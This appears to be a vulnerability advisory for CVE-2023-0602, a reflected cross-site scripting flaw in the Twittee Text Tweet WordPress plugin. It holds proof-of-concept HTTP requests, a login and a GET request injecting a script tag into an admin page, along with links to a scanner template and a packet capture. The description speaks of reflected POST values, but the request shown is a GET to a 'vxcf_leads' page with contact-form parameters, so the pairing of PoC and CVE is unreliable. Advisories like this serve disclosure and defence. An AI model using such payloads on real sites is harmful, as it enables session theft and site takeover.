| Title | Twittee Text Tweet <= 1.0.8 - Cross-Site Scripting |
|---|---|
| Author | r3Y3r53 |
| Severity | Medium |
| Impact | Authenticated attackers targeting administrators can inject malicious JavaScript through POST values in administrative pages to steal admin session cookies and gain control of the WordPress site. |
| Remediation | Update Twittee Text Tweet plugin to a version newer than 1.0.8 that properly escapes POST values before outputting them in administrative pages. |
| CVSS Score | 6.1 |
| EPSS Score | 0.0565 |
| CVE ID | CVE-2023-0602 |
| CWE ID | CWE-79 |
| Tags | cve2023 cve wpscan xss wordpress wp wp-plugin twittee-text-tweet johnniejodelljr vuln |
The Twittee Text Tweet WordPress plugin through 1.0.8 does not properly escape POST values which are printed back to the user inside one of the plugin’s administrative page, which allows reflected XSS attacks targeting administrators to happen.
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:126.0) Gecko/20100101 Firefox/126.0
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
log=OnnAKN&pwd=FidcIF&wp-submit=Log+In
GET /wp-admin/admin.php?page=vxcf_leads&form_id=cf_5&status&tab=entries&search&order=asc&orderby=file-438&field&time&start_date&end_date=onobw%22%3e%3cscript%3ealert(document.domain)%3c%2fscript%3ez2u4g HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Knoppix; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-0602.yaml
🦈 Packet Capture: ⬇️ Download cve-2023-0602.pcap
N/AN/A